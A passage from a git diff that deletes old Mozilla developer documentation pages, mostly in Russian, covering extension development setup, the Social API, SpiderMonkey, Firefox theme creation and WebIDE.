- <p>The contents of this file should be the path to the directory that contains your install.rdf file, for example <code><span class="nowiki">/full/path/to/yourExtension/</span></code> on Mac and Linux, and <code><span class="nowiki">C:\full\path\to\yourExtension\</span></code> on Windows. Remember to include the closing slash and remove any trailing whitespace.</p>
-
- <ul>
- <li>Note: If you already installed the extension via XPI, you should uninstall it first before creating the pointer file.</li>
- <li>Also note that the use of proxy files requires that the extension's chrome.manifest defines its chrome urls using traditional directories, rather than a JARed structure. See below.</li>
- </ul>
- </li>
- <li>Place the file in the extensions folder of your profile and restart the application.</li>
-</ol>
-
-<h3 id="Using_directories_rather_than_JARs">Using directories rather than JARs</h3>
-
-<p>Regardless of whether you choose to eventually package your extension's chrome in a JAR or in directories, developing in directories is simpler. If you choose a JARed structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. For example, rather than having</p>
-
-<pre class="eval">content myExtension jar:chrome/myExtension.jar!/content/
-</pre>
-
-<p>use</p>
-
-<pre class="eval">content myExtension chrome/content/
-</pre>
-
-<p>{{ h1_gecko_minversion("Preventing the first launch extension selector", "8.0") }}</p>
-
-<p>Starting in Firefox 8, on the first launch of a new version of Firefox, it presents user interface letting users select which third party add-ons to keep. This lets them weed out add-ons that were installed without their knowledge, or that are no longer needed.</p>
-
-<p>However, this interface can be disruptive when debugging add-ons. You can avoid this by setting the preference <code>extensions.autoDisableScopes</code> to 14.</p>
-
-<p>{{ languages( { "de": "de/Einrichten_einer_Entwicklungsumgebung_für_Erweiterungen", "fr": "fr/Configuration_d'un_environnement_de_développement_d'extensions", "ja": "ja/Setting_up_extension_development_environment", "zh-cn": "cn/Setting_up_extension_development_environment", "pl": "pl/Przygotowanie_środowiska_programowania_rozszerzenia", "ru": "ru/Настройка_среды_разработки_расширений" } ) }}</p>
diff --git a/files/ru/social_api/index.html b/files/ru/social_api/index.html
deleted file mode 100644
index 23268327ed..0000000000
--- a/files/ru/social_api/index.html
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Социальный API
-slug: Social_API
-tags:
- - Social API
- - Социальные услуги
- - Социальный API
-translation_of: Archive/Social_API
----
-<p>Социальный API (Social API)- это новый API (интерфейс программирования приложений), созданный для упрощения интеграции социальных услуг в веб-браузеры. Использовав однажды один из социальных сервисов, в браузере становятся доступны пользовательские настройки и информация, связанные с этим сервисом. Следующие статьи объясняют, как реализуется связь между поставщиками социальных услуг и браузером.</p>
-<div class="note">
- <p><strong>Примечание:</strong> Большая часть контента для подстраниц была разработана, но еще не перенесна в эту ветку; вы можете <a href="/en-US/docs/User:Sheppy/Social_API_temp" title="https://developer.mozilla.org/en-US/docs/User:Sheppy/Social_API_temp">временно отыскать его здесь</a>.</p>
-</div>
-<div class="row topic-page">
- <div class="section">
- <h2 class="Documentation" id="Документация_к_Social_API"> Документация к Social API</h2>
- <dl>
- <dt>
- <a href="/en-US/docs/Social_API/Glossary" title="/en-US/docs/Social_API/Glossary">Глоссарий Social API</a></dt>
- <dd>
- <span id="result_box" lang="ru"><span class="hps">Содержит определения</span> <span class="hps">основных терминов,</span> <span class="hps">которые вы</span> <span class="hps">должны знать</span> <span class="hps">при использовании</span> <span class="hps">Социального</span> <span class="hps">API.</span></span></dd>
- <dt>
- <a href="/en-US/docs/Social_API/Guide" title="/en-US/docs/Social_API/Guide">Руководство по Social API и социальным услугам</a></dt>
- <dd>
- <span id="result_box" lang="ru"><span>Введение и</span> <span class="hps">руководство по</span> <span class="hps">Социальному</span> <span class="hps">API</span> <span class="hps">и связанными с ним</span> <span class="hps">услугами.</span></span></dd>
- <dt>
- <a href="/en-US/docs/Social_API/Manifest" title="/en-US/docs/Social_API/Manifest">Декларации для социальных услуг</a></dt>
- <dd>
- <span class="short_text" id="result_box" lang="ru"><span>Описание</span> <span class="hps">(и</span> <span class="hps">руководство</span> <span class="hps">по созданию)</span></span> деклараций</dd>
- <dt>
- <a href="/en-US/docs/Social_API/Service_worker_API_reference" title="/en-US/docs/Social_API/Service_worker_reference">Справочник по рабочему API для социальных услуг</a></dt>
- <dd>
- Справка по Социальному API.</dd>
- <dt>
- <a href="/en-US/docs/DOM/navigator.mozSocial" title="/en-US/docs/DOM/navigator.mozSocial">Контент API: MozSocial</a></dt>
- <dd>
- Справки по контенту API для социальных услуг, получаемые с помощью объекта {{domxref("navigator.MozSocial")}}</dd>
- <dt>
- <a href="/en-US/docs/Social_API/Widgets" title="/en-US/docs/Social_API/Widgets">Виджеты</a></dt>
- <dd>
- Справка по виджетам, предоставляемым для социальных услуг.</dd>
- <dt>
- <a href="/en-US/docs/Social_API/Implementing_chat_functionality" title="/en-US/docs/Social_API/Implementing_chat_functionality">Функциональность чата</a></dt>
- <dd>
- Справочник по реализации функций чата с использованием  Social API.</dd>
- </dl>
- <p><span class="alllinks"><a href="/en-US/docs/tag/Social" title="/en-US/docs/tag/CSS">Смотреть полностью...</a></span></p>
- </div>
- <div class="section">
- <h2 class="Community" id="Community" name="Community">Получение помощи от сообщества</h2>
- <p><span id="result_box" lang="ru"><span class="hps">Вы нуждаетесь в помощи</span>, </span><span id="result_box" lang="ru"><span class="hps">связанной с</span></span><span id="result_box" lang="ru"><span class="hps"> проблемой</span></span><span id="result_box" lang="ru"><span class="hps"> по </span></span><span id="result_box" lang="ru"><span class="hps">социальному</span> <span class="hps">API</span> <span class="hps">и не можете найти</span> <span class="hps">решение</span> <span class="hps">в документации?</span></span></p>
- <ul>
- <li>Задайте Ваш вопрос на IRC-канале Mozilla : <a href="irc://irc.mozilla.org/socialdev" title="irc://irc.mozilla.org/socialdev">#socialdev</a></li>
- </ul>
- <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html"><em>И не забывайте о "сетикете"</em>...</a></span></p>
- <h2 class="Tools" id="Tools" name="Tools">Утилиты и демо</h2>
- <ul>
- <li><a href="https://github.com/mixedpuppy/socialapi-demo" title="https://github.com/mixedpuppy/socialapi-demo">Образец социальных услуг на GitHub</a>.</li>
- </ul>
- <p><span class="alllinks"><a href="/en-US/docs/tag/Social" title="/en-US/docs/tag/CSS:Tools">Смотреть полностью...</a></span></p>
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">См. также</h2>
- <ul>
- <li><a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Открытые веб-приложения</a></li>
- </ul>
- </div>
-</div>
-<p> </p>
diff --git a/files/ru/spidermonkey/index.html b/files/ru/spidermonkey/index.html
deleted file mode 100644
index af3119f8b9..0000000000
--- a/files/ru/spidermonkey/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: SpiderMonkey
-slug: SpiderMonkey
-tags:
- - SpiderMonkey
-translation_of: Mozilla/Projects/SpiderMonkey
----
-<p><strong>SpiderMonkey</strong> — это интерпретатор языка <a class="internal" href="/ru/JavaScript" title="JavaScript">JavaScript</a> для движка <a class="internal" href="/ru/Gecko" title="Gecko">Gecko</a>, написанный на языке C. Он используется в разнообразных продуктах в рамках проекта Mozilla, включая браузер Firefox, и доступен на условиях тройной лицензии MPL/GPL/LGPL.</p>
-
-<div class="note">Примечание: The <a class="internal" href="/en/SpiderMonkey/FOSS" title="FOSS">FOSS</a> wiki page contains a few links to other libraries and programs that can make life easier when using Spidermonkey and JSAPI.</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h3 id=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F">Документация</h3>
-
- <dl>
- <dt><a href="/ru/Справочник_JSAPI" title="ru/Справочник_JSAPI">Справочник JSAPI</a></dt>
- <dd><small>Справочник SpiderMonkey API.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Справочник_JSDBGAPI" title="ru/Справочник_JSDBGAPI">Справочник JSDBGAPI</a></dt>
- <dd><small>Справочник SpiderMonkey API для отладки.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Руководство_разработчика_по_использованию_движка_JavaScript_во_встроенных_устройствах" title="ru/Руководство_разработчика_по_использованию_движка_JavaScript_во_встроенных_устройствах">Руководство разработчика по использованию движка JavaScript во встроенных устройствах</a></dt>
- <dd><small>Это руководство содержит обзор особенностей SpiderMonkey и описывает, как вы можете внедрить вызовы интерпретатора в свои приложения, обеспечивая поддержку JavaScript.</small></dd>
- </dl>
-
- <dl>
- <dt><a class="external" href="http://www.mozilla.org/js/spidermonkey/tutorial.html">Как внедрить движок JavaScript</a></dt>
- <dd><small>Учебное пособие (начиная с азов) о внедрении SpiderMonkey.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Советы_по_сборке_мусора_SpiderMonkey" title="ru/Советы_по_сборке_мусора_SpiderMonkey">Советы по сборке мусора SpiderMonkey</a></dt>
- <dd><small>Советы по избежанию ошибок при сборке мусора.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Введение_в_оболочку_JavaScript" title="ru/Введение_в_оболочку_JavaScript">Введение в оболочку JavaScript</a></dt>
- <dd><small>Как получить, собрать и использовать оболочку JavaScript.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Внутренности_SpiderMonkey/безопасность_потоков" title="ru/Внутренности_SpiderMonkey/безопасность_потоков">Внутренности SpiderMonkey: безопасность потоков</a></dt>
- <dd><small>Особенности внутренней работы модели запросов SpiderMonkey.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/Документация_по_сборке_SpiderMonkey" title="ru/Документация_по_сборке_SpiderMonkey">Документация по сборке SpiderMonkey</a></dt>
- <dd><small>Как собрать SpiderMonkey и запустить комплексный тест.</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=SpiderMonkey&amp;language=ru" title="Special:Tags?tag=SpiderMonkey&amp;language=ru">View All...</a></span></p>
- </td>
- <td>
- <h4 id=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE" name=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE">Сообщество</h4>
-
- <ul>
- <li>View Mozilla forums...</li>
- </ul>
-
- <h4 id=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B" name=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D1.82.D0.B5.D0.BC.D1.8B">Связанные темы</h4>
-
- <dl>
- <dd><a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><span class="comment">Категории</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/ru/themes-840092-dup/background/index.html b/files/ru/themes-840092-dup/background/index.html
deleted file mode 100644
index 60a62265dc..0000000000
--- a/files/ru/themes-840092-dup/background/index.html
+++ /dev/null
@@ -1,98 +0,0 @@
----
-title: Фоновые темы Firefox.
-slug: Themes-840092-dup/Background
-translation_of: Mozilla/Add-ons/Themes/Lightweight_themes
----
-<h2 id="Как_создать_свою_собственную_фоновую_тему">Как создать свою собственную фоновую тему</h2>
-
-<div class="primary auto" id="getting-started">
-<p>Темы состоят из изображений, которые накладываются поверх верхней и нижней части окна Firefox.</p>
-
-<p>Вы уже создали свою тему? <a href="https://addons.mozilla.org/developers/theme/submit">Выложите её прямо сейчас!</a></p>
-
-<h3 id="Создание_верхней_части_темы">Создание верхней части темы</h3>
-
-<p>Верхняя часть темы отображается в качестве фона верхней части окна, распологаясь за панелями инструментов, строкой адреса, строкой поиска и за панелью вкладок. <strong>Она выравнивается по верхнему правому углу окна браузера.</strong></p>
-
-<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9929/header-step.jpg" style="height: 215px; width: 1059px;"></p>
-
-<ul>
- <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/header.jpg">Пример верхней части темы</a></li>
-</ul>
-
-<h4 id="Требования_к_изображению">Требования к изображению</h4>
-
-<ul>
- <li>Размер изображения - <strong>3000 точек в ширину и 200 в высоту.</strong></li>
- <li>Формат изображения - .PNG или .JPG.</li>
- <li>Изображение должно весить не более 300 килобайт.</li>
-</ul>
-
-<h4 id="Примечание">Примечание</h4>
-
-<ul>
- <li>Мягкие и контрастные изображения, а также градиенты подходят лучше всего; изображения с большим количеством деталей будут мешать использованию браузера.</li>
- <li>Firefox может отобразить нижнюю часть изображения если другая панель управления добавлена сверху окна.</li>
- <li>Наиболее важную информацию размещайте в правом верхнем углу. При увеличении размеров окна браузера будет показываться большая часть левой стороны изображения. Для всех, кому непонятно, изображение привязано к правой стороне окна, и если размер самого окна слишком мал, то оно обрезается с левой стороны.</li>
-</ul>
-
-<h4 id="Онлайн_редакторы_изображений">Онлайн редакторы изображений</h4>
-
-<ul>
- <li><a href="http://www.pixlr.com">Pixlr</a> — Pixlr предлагает профессиональные и простые в использовании инструменты для создания и редактирования изображений прямо в браузере.</li>
- <li><a href="http://www.photoshop.com">Photoshop</a> — Редактируй, поворачивай и исправляй изображения с Photoshop® Express, бесплатным онлайн-фоторедактором.</li>
-</ul>
-
-<h3 id="Создание_нижней_части_темы">Создание нижней части темы</h3>
-
-<p>В старых версиях Firefox (и в новых, при наличии некоторых дополнений), нижняя часть темы будет показана в качестве нижней части окна браузера, за панелью дополнений и панелью поиска. Она будет выравниваться по л<strong>евому нижнему углу</strong> окна браузера. Это изображение не обязательно.</p>
-
-<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9935/footer-step.jpg" style="height: 56px; width: 1249px;"></p>
-
-<ul>
- <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/footer.jpg">Вот пример нижней части темы.</a></li>
-</ul>
-
-<h4 id="Требования_к_изображению_2">Требования к изображению</h4>
-
-<ul>
- <li>Размер изображения - <strong>3000 точек в ширину и 100 в высоту.</strong></li>
- <li>Формат изображения - .PNG или .JPG.</li>
- <li>Изображение должно весить не более 300 килобайт.</li>
-</ul>
-
-<h4 id="Примечание_2">Примечание</h4>
-
-<ul>
- <li>Мягкие и контрастные изображения, а также градиенты подходят лучше всего; изображения с большим количеством деталей будут мешать использованию браузера.</li>
- <li>Firefox отобразит большую часть изображения если открыта строка поиска или если добавлены кнопки дополнений, в результате чего низ окна увеличился в высоту.</li>
- <li>Наиболее важную информацию размещайте в левой стороне изображения. При увеличении размеров окна браузера будет показываться большая часть правой стороны. Для всех, кому непонятно, изображение привязано к левой стороне окна, и если размер самого окна слишком мал, то оно обрезается с правой стороны.</li>
-</ul>
-
-<h3 id="Как_же_выложить_свою_тему">Как же выложить свою тему?</h3>
-
-<p>Чтобы выложить свою тему надо перейти на страницу выкладывания тем:</p>
-
-<ol class="itemized">
- <li><strong>Назовите свою тему </strong>— Выберите уникальное имя для своей темы. Уже занятые имена использовать нельзя, так что иногда придётся напрягать свою фантазию чуть больше, чем обычно.</li>
- <li><strong>Выберите категорию и теги</strong> — Выберите категорию и введите несколько тегов, которые наиболее точно описывают вашу тему. Если теги или категория выбраны неверно (к примеру, автомобиль в категории "Природа") то модератор не выложит вашу тему.</li>
- <li><strong>Опишите свою тему</strong> — Напишите краткое описание для своей темы. Имейте в виду, что из-за неточного или непонятного описания пользователи могут выбрать другую тему вместо вашей.</li>
- <li><strong>Решите, как будет распространяться ваша тема </strong> — <span id="result_box" lang="ru"><span class="hps">Выберите, смогут ли другие люди использовать вашу тему в качестве основы для своей собственной.</span></span> <a href="http://creativecommons.org/licenses/">Узнайте больше о лицензии Creative Commons.</a>
- <ul>
- <li><strong>Важно!</strong> Ваша тема не может быть свободно распространена, если в ней используются изображения, на которые у вас нет авторских прав. Перед использованием изображения удостоверьтесь в том, что оно может свободно распространяться или вы являетесь его владельцем.</li>
- </ul>
- </li>
- <li><strong>Загрузите ваши изображения</strong> — Изображения не должны весить более 300 килобайт и должны иметь формат .JPG или .PNG.</li>
- <li><strong>Выберите цвета текста и вкладок</strong> — Вы можете выбрать цвета вкладок и текста на переднем плане. Экспериментируйте! Найдите лучшие цвета для вашей темы.</li>
- <li><strong>Узрите своё творение!</strong> — Теперь вы готовы увидеть то, что сделали сами. Вам необходимо только навести курсор на изображение, которое находится над кнопкой "Отправить тему".</li>
- <li><strong>Отправьте свою тему в народ!</strong> — Если вам всё нравится, нажмите на кнопку "Отправить тему" или "Submit theme" (на картинке). Вы можете увидеть все темы, созданные вами ранее на странице вашего профиля.
- <ul>
- <li><strong>Примечание.</strong> Чтобы тема могла попасть в нашу галерею, она должна соответствовать всем рекомендациям выше, также она должна соответствовать правилам сервиса.</li>
- </ul>
- </li>
-</ol>
-
-<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9933/submission-step.jpg" style="height: 1800px; width: 785px;"></p>
-
-<p class="call-to-submit"><a class="button prominent" href="https://addons.mozilla.org/en-US/developers/theme/submit">Создайте вашу тему прямо сейчас!</a></p>
-</div>
diff --git a/files/ru/themes-840092-dup/index.html b/files/ru/themes-840092-dup/index.html
deleted file mode 100644
index afd0b09c6a..0000000000
--- a/files/ru/themes-840092-dup/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: Темы
-slug: Themes-840092-dup
-tags:
- - Add-ons
- - Look & Feel
- - Themes
-translation_of: Mozilla/Add-ons/Themes
----
-<div class="callout-box"><strong><a href="/en/Creating_a_Skin_for_Firefox" title="en/Creating_a_Skin_for_Firefox">Приступая к работе</a></strong><br>
-Введения по разработке тем для Firefox.</div>
-
-<div><strong>Темы</strong> - это оболочки для различных приложений Mozilla. Они позволяют изменять вид пользовательского интерфейса и настроить его на свой вкус. Тема может просто изменить цвета или изменить каждый кусочек интерфейса.</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Themes&amp;language=ru" title="Special:Tags?tag=Themes&amp;language=en">Документация</a></h4>
-
- <dl>
- <dt><a class="internal" href="/en/Building_a_Theme" title="en/Building a Theme">Создание темы</a></dt>
- <dd><span id="result_box" lang="ru"><span>Учебник для</span> <span class="hps">создания простой</span> <span class="hps">темы в</span> <span class="hps">Firefox 3.0</span> <span class="hps">или более новой.</span></span></dd>
- <dt><a href="/en-US/docs/Themes/Common_Firefox_Theme_Issues_and_Solutions" title="/en-US/docs/Themes/Common_Firefox_Theme_Issues_and_Solutions">Общие вопросы и их решения</a></dt>
- <dd><small>Общие вопросы отображаются, когда редакторы AMO проверяют темы и отображают, как устранить проблемы.</small></dd>
- <dt><a href="/en/Themes/Lightweight_themes" title="en/Themes/Lightweight themes">Легковесные темы</a></dt>
- <dd><small>Встроенные легковесные темы ("Personas") для Firefox 3.6 и старше или Firefox 3 с установленным расширением <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/10900" title="https://addons.mozilla.org/en-US/firefox/addon/10900">Personas</a>.</small></dd>
- <dt><a href="/en/Creating_a_Skin_for_Firefox" title="en/Creating_a_Skin_for_Firefox">Создание обложки для Firefox</a></dt>
- <dd><small>Введение в процесс создания новых тем для старых версий (до 3.0) Firefox</small></dd>
- <dt><a href="/en/Creating_a_Skin_for_SeaMonkey_2.x" title="en/Creating_a_Skin_for_SeaMonkey_2.x">Создание обложки для для SeaMonkey 2</a></dt>
- <dd><small>Введение в процесс создания новых тем для SeaMonkey 2.</small></dd>
- <dt><a href="/en/Making_Sure_Your_Theme_Works_with_RTL_Locales" title="en/Making_Sure_Your_Theme_Works_with_RTL_Locales">Убедитесь, что ваша тема работа с локалями RTL</a></dt>
- <dd><small>Как убедиться, что тема будет смотреться хорошо на иврите, арабском, персидском и урду языках.</small></dd>
- <dt><a href="/en/Theme_Packaging" title="en/Theme_Packaging">Упаковка темы</a></dt>
- <dd><small>Как упаковать тему для Firefox и Thunderbird.</small></dd>
- <dt><a href="/en/Theme_changes_in_Firefox_4" title="en/Theme changes in Firefox 4">Изменения тем в Firefox 4</a></dt>
- <dt><a class="internal" href="/En/Theme_changes_in_Firefox_3.5" title="en/Theme changes in Firefox 3.5">Изменения тем между Firefox 3.0 и 3.5</a></dt>
- <dt><a href="/en/Theme_changes_in_Firefox_3" title="en/Theme_changes_in_Firefox_3">Изменения тем между Firefox 2.0 и 3.0</a></dt>
- <dt><a href="/en/Theme_changes_in_Firefox_2" title="en/Theme_changes_in_Firefox_2">Изменения тем между Firefox 1.5 и 2.0</a></dt>
- <dd><small>Полный список изменений между релизами Firefox 1.5 и 2.0</small></dd>
- <dt><a class="external" href="http://www.tudobom.de/articles/yatt/" title="http://www.tudobom.de/articles/yatt/">Еще один учебник по темам</a></dt>
- <dd><small>Еще один, более новый учебник по созданию тем Mozilla.</small></dd>
- <dt><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=197434">Изменения тем с Firefox 1.0 до 1.5 (сообщение форума)</a></dt>
- <dd><small>Сообщение форума <a class="external" href="http://www.mozillazine.org">MozillaZine</a> содержит основные изменения по темам между Firefox 1.0 и 1.5.</small></dd>
- <dt><a class="external" href="http://cheeaun.phoenity.com/weblog/2004/12/first-steps-in-theme-design.html">Первые шаги в дизайне тем</a></dt>
- <dd><small>Несколько старая статья обсуждения дизайна тем для Firefox.</small></dd>
- <dt><a class="external" href="http://www.melez.com/mykzilla/2009/03/personas-in-thunderbird.html" style="outline-color: -moz-use-text-color;" title="http://www.melez.com/mykzilla/2009/03/personas-in-thunderbird.html">Thunderbird Personas</a></dt>
- <dd><small>Новое в Thunderbird 3</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=Themes&amp;language=en" title="Special:Tags?tag=Themes&amp;language=en">Посмотреть всё...</a></span></p>
- </td>
- <td>
- <h4 id="Community" name="Community">Сообщество</h4>
-
- <ul>
- <li>Посмотреть форумы Mozilla...</li>
- </ul>
-
- <p>{{ DiscussionList("dev-themes", "mozilla.dev.themes") }}</p>
-
- <ul>
- <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=18">Форум тем MozillaZine</a></li>
- </ul>
-
- <h4 id="Tools" name="Tools">Инструменты</h4>
-
- <ul>
- <li><a href="/en/DOM_Inspector" title="en/DOM_Inspector">Инструменты DOM</a></li>
- <li><a class="link-https" href="https://addons.mozilla.org/firefox/63/">InspectorWidget</a></li>
- <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=21">Расширение ChromeEdit</a></li>
- <li><a class="link-https" href="https://addons.mozilla.org/firefox/7438">Сила RTL</a>: Проверка на совместимость с RTL</li>
- </ul>
-
- <h4 id="Related_Topics" name="Related_Topics">Связанные темы</h4>
-
- <dl>
- <dd><a href="/en/CSS" title="en/CSS">CSS</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>{{ languages( { "de": "de/Themes", "es": "es/Temas", "fr": "fr/Th\u00e8mes", "ja": "ja/Themes", "pl": "pl/Motywy", "zh-cn": "cn/\u4e3b\u9898", "zh-tw": "zh_tw/\u4f48\u666f\u4e3b\u984c" } ) }}</p>
-
-<div id="cke_pastebin" style="position: absolute; top: 651.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/ru/tools/webide/index.html b/files/ru/tools/webide/index.html
deleted file mode 100644
index f8c0ab40fd..0000000000
--- a/files/ru/tools/webide/index.html
+++ /dev/null
@@ -1,252 +0,0 @@
----
-title: WebIDE
-slug: Tools/WebIDE
-tags:
- - Apps
- - Firefox OS
- - WebIDE
- - tool
- - Отладка
- - инструменты
-translation_of: Archive/WebIDE
----
-<div>{{ToolsSidebar}}</div><div class="summary">
-<p>WebIDE даёт вам возможность запускать и выполнять отладку веб-приложений, используя <a href="https://developer.mozilla.org/ru/docs/Tools/Firefox_OS_Simulator">Симулятор Firefox OS</a> или реальное устройство, работающее на Firefox OS.</p>
-
-<p>Она представляет собой среду разработки, в которой можно создавать и редактировать приложения для Firefox OS. WebIDE удобно отображет файлы проекта в древовидной структуре, что обеспечивает легкий доступ к файлам для их последующего редактирования и сохранения. В дополнение прилагается пара шаблонов для быстрого старта.</p>
-</div>
-
-<p>Для начала <a href="/ru/docs/Tools/WebIDE/Setting_up_runtimes">настройте среду выполнения</a> в WebIDE. Среда выполнения — это окружение, в котором вы сможете запускать и/или выполнять отладку приложения. Среда исполнения может быть реальным устройством, работающим под Firefox OS и подключенным к персональному компьютеру через USB (или по Wi-Fi, начиная с <a href="/ru/Firefox/Releases/39">Firefox 39</a>), или это может быть Симулятор Firefox OS, установленный на компьютере.</p>
-
-<p>Затем <a href="/ru/docs/Tools/WebIDE/Creating_and_editing_apps">создайте или откройте существующее приложение</a>. Если вы создаете новое приложение, то можете выбрать один из шаблонов. Это может быть шаблон с минимальной конфигурацией, включающий только базовый набор файлов, необходимых для разработки, либо расширенный, который содержит примеры использования специфического API. WebIDE покажет файлы проекта в виде дерева, и вы можете редактировать и сохранять их во встроенном редакторе. Конечно, совсем необязательно использовать встроенный редактор: можно разрабатывать приложение и во внешней среде разработки, используя WebIDE как дебаггер.</p>
-
-<p>В завершение установите <a href="/ru/docs/Tools/WebIDE/Running_and_debugging_apps">приложение в одну из сред выполнения и запустите его</a>. Затем откройте стандартный набор иструментов разработчика - <a href="/ru/docs/Tools/Page_Inspector">Инспектор</a>, <a href="/ru/docs/Tools/Web_Console">Веб-консоль</a>, <a href="https://developer.mozilla.org/ru/docs/Tools/Debugger">Отладчик JavaScript</a> и так далее — и можете начать изучать и изменять запущенное приложение.</p>
-
-<hr>
-<dl>
- <dt><a href="/ru/docs/Tools/WebIDE/Opening_WebIDE">Запуск WebIDE</a></dt>
- <dd>Как открыть WebIDE из Firefox.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/Setting_up_runtimes">Настройка сред выполнения</a></dt>
- <dd>Как подключиться к среде выполнения, в которой вы можете устанавливать приложения в устройства на Firefox OS, на симулятор Firefox OS, и на Firefox для Android.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/Creating_and_editing_apps">Создание и редактирование приложений</a></dt>
- <dd>Как создавать, открывать, и разрабатывать приложения, используя WebIDE.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/The_runtime_menu">Меню среды выполнения</a></dt>
- <dd>Выбрав среду выполнения, используйте меню, чтобы получить информацию о среде выполнения и о его приложениях, изменять настройки, или сделать снимок.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/Running_and_debugging_apps">Запуск и отладка приложений</a></dt>
- <dd>Как установить приложения в среду выполнения и отлаживать их, используя Инструменты разработчика Firefox.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/Working_with_Cordova_apps_in_WebIDE">Работа над приложениями Cordova в WebIDE</a></dt>
- <dd>начиная с Firefox версии 39, вы можете редактировать и отлаживать приложения Cordova, используя WebIDE.</dd>
- <dt><a href="/ru/docs/Tools/WebIDE/Troubleshooting">Устранение неполадок</a></dt>
- <dd>Помощь с проблемами с WebIDE, в особенности с проблемами подключения к среде выполнения.</dd>
-</dl>
-
-<div class="note">
-<p>Чтобы разрабатывать и отлаживать приложения с помощью WebIDE, всё что вам нужно — это Firefox версии 33 или новее. Чтобы протестировать на реальном устройстве работающем под Firefox OS, вам потребуется устройство с Firefox OS 1.2 или новее и USB кабель.</p>
-
-<p>WebIDE совместима только с Firefox OS 1.2 или новее.</p>
-</div>
-
-<h2 id="Установка_среды_исполнения">Установка среды исполнения</h2>
-
-<p>Среды исполнения в списке "Select Runtime" (Выбрать среду исполнения), сгруппированы в 3 секции:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/ru/docs/Tools/WebIDE#Connecting_a_Firefox_OS_device">USB устройства</a>: Firefox OS устройства, подключенные через USB</li>
- <li><a href="/ru/docs/Tools/WebIDE#Adding_a_Simulator">Симуляторы</a>: установленные и зарегистрированные экземпляры Firefox OS Симулятора</li>
- <li><a href="/ru/docs/Tools/WebIDE#Custom_runtimes">Особые настройки</a>: воспользуйтесь этим пунктом, чтобы подключиться к WebIDE с помощью произвольного имени и порта.</li>
-</ul>
-
-<p>Если вы впервые установили и настроили WebIDE, то вы возможно не увидите сред исполнения в списке:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8043/webide-no-runtimes.png" style="display: block; height: 564px; margin-left: auto; margin-right: auto; width: 723px;">Оставшаяся часть главы описывает, как добавить несколько сред исполнения.</p>
-
-<h3 id="Соединение_с_устройством_Firefox_OS">Соединение с устройством Firefox OS</h3>
-
-<p>Перед тем как установить соединение с устройством Firefox OS, требуется предварительно проделать некоторые действия:</p>
-
-<ul>
- <li><strong>проверьте вашу версию Firefox OS: </strong>убедитесь, что на вашем устройстве запущена Firefox OS 1.2/Boot2Gecko 1.2 или более свежая версия. Чтобы узнать версию установленной Firefox OS, откройте меню Настройки (Settings) на устройстве, затем перейдите в <code>Device Information(Информация об устройстве) &gt; Softwar<code>e</code>(Програмное обеспечение)</code>. Если у вас установлена старая версия, но у вас Geeksphone, то обновите ваше программное обеспечение, следуя <a href="/Firefox_OS/Developer_phone_guide/Geeksphone">нашему руководству</a>.</li>
- <li><strong>активируйте удаленную отладку: </strong>в приложении Settings (Настройки),  пройдите в <code>Device information (Информация об устройстве) &gt; More information (Дополнительная информация)&gt; Developer(Разработка)</code>. Если элемент Удаленная Отладка (Remote Debugging) — это обыкновенный флажок, то нажмите на него, чтобы активировать. Если устройство дополнительно спросит активировать только "ADB", или "ADB and DevTools", выберите "ADB and DevTools".</li>
